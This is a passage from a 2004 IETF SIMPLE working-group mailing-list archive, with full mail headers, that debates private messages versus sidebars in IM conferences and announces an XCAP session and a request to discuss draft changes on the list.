> > >>>>>>>INVITE for an
> > >>>>>>>MSRP session, it can make a choice just like in a voice=20
> > >>>>
> > >>>>call between
> > >>>>
> > >>>>>>>accepting the call or rejecting it. Page mode doesn't=20
> > >>>>
> > >>>>provide that=20
> > >>>>
> > >>>>>>>functionality.
> > >>>>>>>
> > >>>>>>>Cheers,
> > >>>>>>>Aki
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>-Jonathan R.
> > >>>>>>>
> > >>>>>_______________________________________________
> > >>>>>Simple mailing list
> > >>>>>Simple@ietf.org
> > >>>>>https://www1.ietf.org/mailman/listinfo/simple
> > >>>>>
> > >>>>
> > >=20
> >=20
> > --=20
> > Miguel A. Garcia           tel:+358-50-4804586
> > Nokia Research Center      Helsinki, Finland
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 01:42:28 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06587
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:42:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3bn-0007Ha-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:42:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3aq-0007An-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:41:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3aP-00073s-00; Tue, 02 Mar 2004 01:41:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3aQ-0000Ix-Cx; Tue, 02 Mar 2004 01:41:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Ze-00006B-9O
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:40:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06463
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:40:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Za-00070Y-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:40:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Yc-0006se-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:39:11 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Xc-0006hB-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:38:09 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226c2L26167;
	Tue, 2 Mar 2004 08:38:02 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:37:28 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i226bSpp020481;
	Tue, 2 Mar 2004 08:37:28 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00miHTrO; Tue, 02 Mar 2004 08:37:26 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226bQO15801;
	Tue, 2 Mar 2004 08:37:26 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:37:25 +0200
Message-ID: <40442B9F.9090606@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 06:37:25.0767 (UTC) FILETIME=[D3540970:01C40020]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 08:37:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


ext Rosen, Brian wrote:
>>I think what you're referring to is a private sidebar. Being able to 
>>receive a private message sent inside a conference (or a 
>>sidebar) would 
>>require no additional action from the recipient, whereas setting up a 
>>private sidebar requires that the invitee also agrees to have the 
>>sidebar, joins it etc.
> 
> I don't understand this differentiation.  You can define systems
> that require the user to agree in advance to some kind of communication,
> or you can design them so that they don't need to agree before hand.
> 
> I can design a sidebar system that requires you to agree to participate,
> and I can design an IM system that requires you to agree to participate.
> Conversely, I can design systems for IM or voice that does not.
> I have AIM set to require my consent before I receive a message from
> someone not on my buddy list.  I could easily want such a feature
> for a "private message".  Conversely, I might accept a whisper from
> another participant in a conference without consent.

In order to make this work, you'd have to design both the receiving UA 
and the sending UA. If one implements sidebars in the former way, and 
the other one the latter way, one of them (or both) will have bad user 
experience.

> What you want is the logical equivalent of altering the mixing
> function so that a subset of the users get the message.  I don't
> see why that is different from a sidebar, or whisper.

And this is where we disagree.

<snip />

>>Of course you can't do private messages with voice. Voice and IM are 
>>inherently different. You can't send private voice packets to another 
>>participant of a conference, simply because there isn't a way 
>>to single 
>>out a participant in a conference by directly addressing 
>>packets there. 
>>It also makes mixing really complicated, because a private 
>>voice stream 
>>might overlap with the rest of the conference. These don't present a 
>>problem for IM; the sender can single out the recipient using 
>>the cpim 
>>To header field and the recipient UA can simply mark a message as 
>>private and render it to the same UI as the rest of the IMs in that 
>>conference.
> 
> I protest.  There is no logical difference.  There is no protocol
> difference.  In most cases, there is no practical difference.  You
> send media to some address, you get media from some address.  You
> render it.  IM or voice or video is all just media, and its handled
> the same way.  You might have "centralized" or "distributed" mixers.
> Most IM systems, as implemented, are centralized mixers.  You send
> all media to the mixer, it sends media to you.  There is nothing
> special with IM.  You need some signaling for a private message.
> You can use the same signaling for a sidebar or a whisper.

Hmm.. which systems are these? The ones I've used have both private 
messages *and* sidebars.

Cheers,
Aki

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 01:42:59 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06611
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:42:59 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3br-0000fQ-Hh
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:42:31 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226gVSj002558
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:42:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3br-0000fB-DL
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:42:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06604
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:42:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3bo-0007Hf-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:42:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3ar-0007Au-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:41:30 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3aP-00073s-00; Tue, 02 Mar 2004 01:41:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3aQ-0000Ix-Cx; Tue, 02 Mar 2004 01:41:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Ze-00006B-9O
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:40:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06463
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:40:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Za-00070Y-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:40:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Yc-0006se-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:39:11 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Xc-0006hB-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:38:09 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226c2L26167;
	Tue, 2 Mar 2004 08:38:02 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:37:28 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i226bSpp020481;
	Tue, 2 Mar 2004 08:37:28 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00miHTrO; Tue, 02 Mar 2004 08:37:26 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226bQO15801;
	Tue, 2 Mar 2004 08:37:26 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:37:25 +0200
Message-ID: <40442B9F.9090606@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 06:37:25.0767 (UTC) FILETIME=[D3540970:01C40020]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 08:37:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


ext Rosen, Brian wrote:
>>I think what you're referring to is a private sidebar. Being able to 
>>receive a private message sent inside a conference (or a 
>>sidebar) would 
>>require no additional action from the recipient, whereas setting up a 
>>private sidebar requires that the invitee also agrees to have the 
>>sidebar, joins it etc.
> 
> I don't understand this differentiation.  You can define systems
> that require the user to agree in advance to some kind of communication,
> or you can design them so that they don't need to agree before hand.
> 
> I can design a sidebar system that requires you to agree to participate,
> and I can design an IM system that requires you to agree to participate.
> Conversely, I can design systems for IM or voice that does not.
> I have AIM set to require my consent before I receive a message from
> someone not on my buddy list.  I could easily want such a feature
> for a "private message".  Conversely, I might accept a whisper from
> another participant in a conference without consent.

In order to make this work, you'd have to design both the receiving UA 
and the sending UA. If one implements sidebars in the former way, and 
the other one the latter way, one of them (or both) will have bad user 
experience.

> What you want is the logical equivalent of altering the mixing
> function so that a subset of the users get the message.  I don't
> see why that is different from a sidebar, or whisper.

And this is where we disagree.

<snip />

>>Of course you can't do private messages with voice. Voice and IM are 
>>inherently different. You can't send private voice packets to another 
>>participant of a conference, simply because there isn't a way 
>>to single 
>>out a participant in a conference by directly addressing 
>>packets there. 
>>It also makes mixing really complicated, because a private 
>>voice stream 
>>might overlap with the rest of the conference. These don't present a 
>>problem for IM; the sender can single out the recipient using 
>>the cpim 
>>To header field and the recipient UA can simply mark a message as 
>>private and render it to the same UI as the rest of the IMs in that 
>>conference.
> 
> I protest.  There is no logical difference.  There is no protocol
> difference.  In most cases, there is no practical difference.  You
> send media to some address, you get media from some address.  You
> render it.  IM or voice or video is all just media, and its handled
> the same way.  You might have "centralized" or "distributed" mixers.
> Most IM systems, as implemented, are centralized mixers.  You send
> all media to the mixer, it sends media to you.  There is nothing
> special with IM.  You need some signaling for a private message.
> You can use the same signaling for a sidebar or a whisper.

Hmm.. which systems are these? The ones I've used have both private 
messages *and* sidebars.

Cheers,
Aki

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 01:52:28 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06981
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:52:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3lT-0000bV-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:52:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3kT-0000V0-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:51:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3k8-0000O7-00; Tue, 02 Mar 2004 01:51:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3k6-0001oW-Ng; Tue, 02 Mar 2004 01:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3jU-0001ba-Ep
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:50:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06863
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:50:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3jR-0000MR-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:50:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3iU-0000FS-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:49:23 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3hw-00006i-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:48:48 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i226mId09011
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:48:18 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078210051.1918.3.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] WG session exploring XCAP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:47:31 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

As discussed in yesterday's session, SIMPLE will hold 
a second meeting to explore XCAP in more depth.

This session will be Thursday at 1300 in the Onyx room,
which is in the terminal room complex. This room will seat
roughly 50 people.

Agenda : 

1300-1500 Walkthrough of XCAP


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Tue Mar  2 01:52:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07003
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:52:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3lU-0000bj-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:52:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3kU-0000VF-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:51:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3k8-0000O8-00; Tue, 02 Mar 2004 01:51:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3k5-0001oC-Ms; Tue, 02 Mar 2004 01:51:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3jL-0001bP-LD
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:50:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06845
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:50:13 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3jI-0000Kz-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:50:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3iI-0000DZ-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:49:11 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3hL-00005y-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:48:11 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226mB006509
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:48:11 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:48:02 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i226m2ZP014574
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:48:02 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00wiqRHV; Tue, 02 Mar 2004 08:48:02 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226lu717158
	for <simple@ietf.org>; Tue, 2 Mar 2004 08:47:56 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:47:56 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797810@esebe019.ntc.nokia.com>
Thread-Topic: Please poll the mailing list before making changes to a WG item
Thread-Index: AcQAIkmOhIRcKV0qSZqdAMtK8IsBbg==
To: <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 06:47:56.0271 (UTC) FILETIME=[4B234FF0:01C40022]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Please poll the mailing list before making changes to a WG item
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 08:47:55 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

It became apparent to me that editors of WG items have been making =
changes to WG adopted internet drafts without polling the community on =
the mailing list first. This might be acceptable, but it is causing =
confusion and is creating more open issues with a newly submitted draft. =
It would be great if proposed changes to a current draft can be =
discussed on the mailing list before any text is committed to it. This =
reduces the air time a newly submitted draft needs and enables a draft =
to progress faster and for new issues to be tackled earlier. Please =
adopt this practice.

Much appreciated,
Hisham

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 01:52:59 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07026
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:52:59 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3lX-0002Q0-4s
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:52:31 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226qVGO009290
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:52:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3lX-0002Pl-1f
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:52:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06996
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:52:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3lT-0000be-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:52:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3kT-0000V7-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:51:26 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3k8-0000O7-00; Tue, 02 Mar 2004 01:51:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3k6-0001oW-Ng; Tue, 02 Mar 2004 01:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3jU-0001ba-Ep
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:50:24 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06863
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:50:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3jR-0000MR-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:50:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3iU-0000FS-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:49:23 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3hw-00006i-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:48:48 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i226mId09011
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:48:18 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1078210051.1918.3.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] WG session exploring XCAP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:47:31 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
